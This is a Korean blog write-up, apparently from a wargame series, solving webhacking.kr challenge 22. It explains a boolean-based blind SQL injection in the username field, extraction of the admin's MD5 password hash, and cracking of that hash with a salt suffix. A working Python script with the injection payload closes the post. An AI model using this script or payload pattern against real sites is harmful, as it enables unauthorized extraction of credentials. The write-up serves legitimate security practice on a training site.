22번 문제를 보면 아래와 같은 화면을 볼 수 있다.
힌트를 보면 id가 admin이어야 패스워드를 출력하기 때문에
username에 admin을 입력한 결과, Wrong!을 출력하는 것을 볼 수 있다.
admin이라는 문자열을 직접 입력할 수 없는 것으로 보이므로 다른 방법으로 id에 admin을 넣어야 한다.
먼저 동작과정을 보기 위해 test로 로그인을 하였다.
그 결과, hi! test라는 메시지와 함께
user key라는 이름으로 32바이트의 데이터가 출력된 것을 볼 수 있다.
password로 입력한 1234의 크기와 다르며, 32바이트인 것을 보면, md5가 적용된 것이라고 추측할 수 있다.
따라서 online md5 decrypter를 이용하면 위와 같이 1234zombie라는 문자열을 볼 수 있다. 즉, 입력한 패스워드에 zombie를 더한 뒤 hash한 값을 출력한 것이다.
즉, admin으로 로그인 하여 얻은 값에서 원본 string을 얻은 뒤, zombie라는 문자열을 제외하면 원래 패스워드를 알 수 있다.
실제 admin의 패스워드를 얻기 위해 먼저 username 필드를 이용하여 true를 반환하도록 입력하니 Wrong password!라는 문자열을 출력한다.
참인 경우, 해당 문자열을 반환하는 것으로 추정되어
거짓을 반환할 값을 입력하였다.
그 결과 Wrong!을 출력하는 것을 볼 수 있다.
따라서 입력 값이 참인 경우 Wrong password!를, 거짓인 경우 Wrong!을 출력한다는 것을 알게 되었다.
이 값을 이용하여 먼저 pw의 길이를 알 수 있고, 각 바이트에 해당하는 문자 또한 추출할 수 있다.
먼저, 길이를 알기 위해 length()를 이용했는데 위에서 test를 입력한 결과 md5의 적용으로 길이가 32바이트였던 것을 이용해 32로 입력하였다.
참을 뜻하는 Wrong password!가 출력된 것을 보면 admin의 패스워드 역시 32바이트임을 알 수 있다.
따라서 총 32바이트에 대해 알파벳 소문자와 숫자를 이용하여 한 바이트씩 알아내었다. 이 때, 결과가 hash 값일 것이라고 예상하였기 때문에 속도 향상을 위해 알파벳과 숫자만을 이용하였다. Python을 이용해 수행한 결과는 아래와 같다.
이 해쉬값의 원본 string은 rainbowzombie이다.
따라서 zombie를 제외한 rainbow로 로그인하면 clear할 수 있다.
python 코드는 아래와 같다.
import requests, json, string
URL = "http://webhacking.kr/challenge/bonus/bonus-2/index.php" cookies = {'PHPSESSID': [YOUR_SESSID]} answer = "" length = 32
for i in range(1, length+1): for j in string.ascii_lowercase + "0123456789 ":
data = {'uuid': "admin' and ascii(substr(pw," + str(i) + ",1))=" + str(ord(j)) + " -- "} res = requests.post(URL, data, cookies=cookies)
if "Wrong password!" in res.text: answer += j print answer break
if j == " ": print "fail" break
print "pw: " + answer
|
'Wargame > webhacking.kr' 카테고리의 다른 글
webhacking.kr 11번 (0) | 2019.01.29 |
---|---|
webhacking.kr 34번 (0) | 2019.01.29 |
webhacking.kr 5번 (0) | 2019.01.29 |
webhacking.kr 46번 (0) | 2019.01.29 |
webhacking.kr 21번 (0) | 2019.01.29 |
댓글